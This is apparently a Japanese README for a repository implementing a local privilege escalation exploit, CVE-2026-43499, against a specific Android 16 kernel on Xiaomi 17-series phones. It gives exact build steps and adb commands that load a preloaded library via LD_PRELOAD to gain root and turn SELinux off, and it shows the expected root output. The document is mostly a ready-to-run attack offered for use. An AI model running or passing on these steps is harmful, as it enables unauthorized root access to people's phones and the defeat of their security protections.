
6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k 向け CVE-2026-43499 実装
popsicleこのリポジトリには、Xiaomi 17 Pro Max(popsicle)上の Android 16 における CVE-2026-43499 のローカル権限昇格(LPE)実装が含まれています。検証済みカーネル:
6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k
このカーネルを使用する Xiaomi 17、Pro、Ultra シリーズで全て動作確認済みです。
Python 3 と llvm-objdump が必要です:
python3 generate_target.py \
--boot boot.img \
--xbl-config xbl_config.img \
-o source/src/target.h
make -C source clean preload
NDK を自動検出できない場合:
NDK_ROOT=/path/to/android-ndk make -C source clean preload
生成物:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
成功すると以下が表示されます:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
エクスプロイト完了後、画面の点灯・ロック解除・デスクトップへの遷移は可能ですが、新しく起動した Android アプリは Framework の初期化が完了できずクラッシュします。再起動後はアプリの起動が正常に戻ります。